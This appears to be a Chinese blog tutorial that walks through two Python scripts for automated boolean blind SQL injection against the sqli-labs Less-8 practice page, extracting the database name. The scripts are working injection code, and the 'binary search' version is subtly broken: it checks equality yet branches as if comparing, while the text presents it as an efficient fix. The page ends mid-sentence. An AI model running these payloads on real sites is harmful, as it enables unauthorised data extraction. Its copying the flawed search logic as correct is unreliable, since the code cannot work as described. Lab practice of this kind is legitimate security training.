当前位置: 首页 > news >正文

网络安全初级(Python实现sql自动化布尔盲注)

以sqli靶场Less-8为例

字符型python代码

代码通过构造特定的 SQL 注入 Payload,向目标网站发送 HTTP 请求,根据服务器的响应信息逐步推断出数据库名称。这种方法利用了 SQL 注入漏洞,即通过在输入参数中注入恶意的 SQL 代码,来绕过正常的输入验证,获取数据库中的信息。

# 目标URL
url = "http://sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

 代码解析

1. 导入模块

import requests

这行代码导入了requests库,该库用于发送 HTTP 请求,在本代码中用于与目标网站进行交互。

2. 定义目标 URL 和变量

# 目标URL
url = "http://sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
  • url:指定了目标网站的 URL,即要进行 SQL 注入测试的页面。
  • database_name:用于存储推断出的数据库名,初始为空字符串。
  • charset:定义了可能出现在数据库名中的字符集,包括大小写字母、数字和一些特殊字符。

3. 推断数据库名的长度

def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
  • get_database_length函数的作用是推断数据库名的长度。
  • 使用一个无限循环,每次将length加 1。
  • 构造 SQL 注入 payload,payload中的length(database())用于获取数据库名的长度,通过不断尝试不同的length值,判断是否与实际长度相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in...........",说明当前length值就是数据库名的长度,返回该值。
  • 为了防止无限循环,当length超过 50 时,跳出循环并返回 0。
4. 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name
  • get_database_name函数根据已知的数据库名长度来推断数据库名。
  • 使用两层循环,外层循环遍历数据库名的每一个位置(从 1 到length),内层循环遍历字符集charset中的每一个字符。
  • 构造 SQL 注入 payload,substring(database(), {i}, 1)用于获取数据库名中第i个位置的字符,通过不断尝试不同的字符,判断是否与实际字符相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in",说明当前字符就是数据库名中第i个位置的字符,将该字符添加到db_name中,并跳出内层循环。
  • 最后返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
  • 主函数首先调用get_database_length函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用get_database_name函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

 数字型python代码

import requests# 目标URL
url = "http://sqli/Less-8/index.php"# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符# 推断数据库名的长度
def get_database_length():left, right = 1, 100while left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return midelif "You are in" not in response.text:left = mid + 1else:right = mid - 1return 0# 推断数据库名中的单个字符
def get_char_at_position(position):left, right = min_ascii, max_asciiwhile left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:return chr(mid)elif "You are in" not in response.text:left = mid + 1else:right = mid - 1return None# 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):char = get_char_at_position(i)if char:db_name += charreturn db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

1. 导入模块和定义常量

import requests# 目标URL
url = "http://sqli/Less-8/index.php"# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符
  • requests 库用于发送 HTTP 请求。
  • url 是目标网站的 URL,即要进行 SQL 注入测试的页面。
  • min_ascii 和 max_ascii 定义了可能出现的字符的 ASCII 码范围,用于后续二分查找。
2. 推断数据库名的长度
def get_database_length():left, right = 1, 100while left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return midelif "You are in" not in response.text:left = mid + 1else:right = mid - 1return 0
  • 使用二分查找来确定数据库名的长度。初始时,left 为 1,right 为 100。
  • 在每次循环中,计算中间值 mid,并构造 SQL 注入 Payload,通过 length(database()) 函数获取数据库名的长度,并与 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in...........",说明 mid 就是数据库名的长度,返回 mid
    • 如果响应文本中不包含 "You are in",说明数据库名的长度大于 mid,更新 left = mid + 1
    • 否则,说明数据库名的长度小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的长度,返回 0。
3. 推断数据库名中的单个字符
def get_char_at_position(position):left, right = min_ascii, max_asciiwhile left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:return chr(mid)elif "You are in" not in response.text:left = mid + 1else:right = mid - 1return None
  • 同样使用二分查找来确定数据库名中指定位置的字符。
  • 对于每个位置,通过 ASCII(SUBSTRING(database(), {position}, 1)) 函数获取该位置字符的 ASCII 码,并与中间值 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in",说明 mid 就是该位置字符的 ASCII 码,使用 chr(mid) 将其转换为字符并返回。
    • 如果响应文本中不包含 "You are in",说明该位置字符的 ASCII 码大于 mid,更新 left = mid + 1
    • 否则,说明该位置字符的 ASCII 码小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的字符,返回 None
4. 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):char = get_char_at_position(i)if char:db_name += charreturn db_name
  • 遍历数据库名的每个位置,调用 get_char_at_position 函数获取该位置的字符。
  • 如果获取到字符,将其添加到 db_name 中。
  • 最终返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
  • 主函数首先调用 get_database_length 函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用 get_database_name 函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

优缺点比较

字符型代码(字符型线性查找)

优点
  • 逻辑清晰:代码结构简单,将不同的功能封装成独立的函数,例如get_database_length用于获取数据库名称的长度,get_database_name用于根据长度推断数据库名称,主函数负责调用这些功能函数并输出结果,易于理解和维护。
  • 易于扩展:字符集charset可以根据需要进行扩展,方便处理包含更多字符的数据库名称。
缺点
  • 效率较低:在推断数据库名称的每个字符时,使用了线性查找,即遍历整个字符集,对于较长的字符集或数据库名称,需要发送大量的 HTTP 请求,时间复杂度较高。
  • 缺乏错误处理:代码没有对requests.get请求可能出现的异常进行处理,例如网络连接错误、请求超时等,当出现这些异常时,程序可能会崩溃。
改进建议
  • 添加异常处理:在requests.get调用处添加异常处理,确保程序在遇到网络问题时能够正常处理,避免崩溃。
try:response = requests.get(url, params={"id": payload})
except requests.RequestException as e:print(f"Request error: {e}")return None
  • 使用更高效的查找算法:如之前修改为二分查找的版本,能显著减少 HTTP 请求的次数,提高效率。

二分查找版本代码

优点
  • 效率提升:使用二分查找来推断数据库名称的长度和每个字符,将查找的时间复杂度从线性降低到对数级别,减少了 HTTP 请求的次数,提高了程序的执行效率。
  • 通用性:通过使用 ASCII 码范围来进行查找,避免了手动定义字符集的局限性,能够处理更广泛的字符。
缺点
  • 假设范围固定:代码假设数据库名称中的字符 ASCII 码范围在 32 到 126 之间,如果实际数据库名称包含超出这个范围的字符,可能无法正确推断。
  • 缺乏详细的错误反馈:对于二分查找过程中可能出现的异常情况,如没有找到合适的长度或字符,只是简单返回 0 或None,没有提供详细的错误信息,不利于调试。
改进建议
  • 扩大字符范围:可以根据实际情况扩大 ASCII 码范围,或者动态调整范围,以处理更多类型的字符。
  • 添加详细的错误反馈:在返回 0 或None时,输出更详细的错误信息,帮助调试。
if length == 0:print("Failed to determine database length. The database length might be greater t
http://www.xdnf.cn/news/1133695.html

相关文章:

  • 基于大数据电信诈骗行为分析与可视化预测系统的设计与实现【海量数据、多种机器学习对比、数据优化、过采样】
  • PDF 转 Word 支持加密的PDF文件转换 批量转换 编辑排版自由
  • 混合参数等效模型
  • 暑假---作业2
  • LLM指纹底层技术——注意力机制变体
  • Mybatis07-逆向工程
  • 【代码】基于CUDA优化的RANSAC实时激光雷达点云地面分割
  • 参数检验?非参数检验?
  • java工具类Hutool
  • 工业网络协议桥接设计指南:从LIN到CAN/RS-232的毫秒级互通方案
  • 推客系统开发:从零构建高并发社交平台的技术实践
  • 基于springboot+vue的酒店管理系统设计与实现
  • 事务~~~
  • 横向移动(下)
  • 关于redis各种类型在不同场景下的使用
  • 消息中间件(Kafka VS RocketMQ)
  • UDP和TCP的主要区别是什么?
  • 单片机(STM32-中断)
  • 构建足球实时比分APP:REST API与WebSocket接入方案详解
  • 比特币技术简史 第二章:密码学基础 - 哈希函数、公钥密码学与数字签名
  • 主机安全---开源wazuh使用
  • OCR 与 AI 图像识别:协同共生的智能双引擎
  • 从0开始学习R语言--Day48--Calibration Curves 评估模型
  • 预训练模型:大规模数据预学习范式——定义、原理与演进逻辑
  • 360安全卫士硬盘写入问题解析
  • 了解一下Unity Object的内存管理机制
  • 使用JS编写一个购物车界面
  • C# --- 单例类错误初始化 + 没有释放资源导致线程泄漏
  • 实训十一——网络通信原理
  • WP Force SSL Pro – HTTPS SSL Redirect Boost Your Website‘s Trust in Minutes!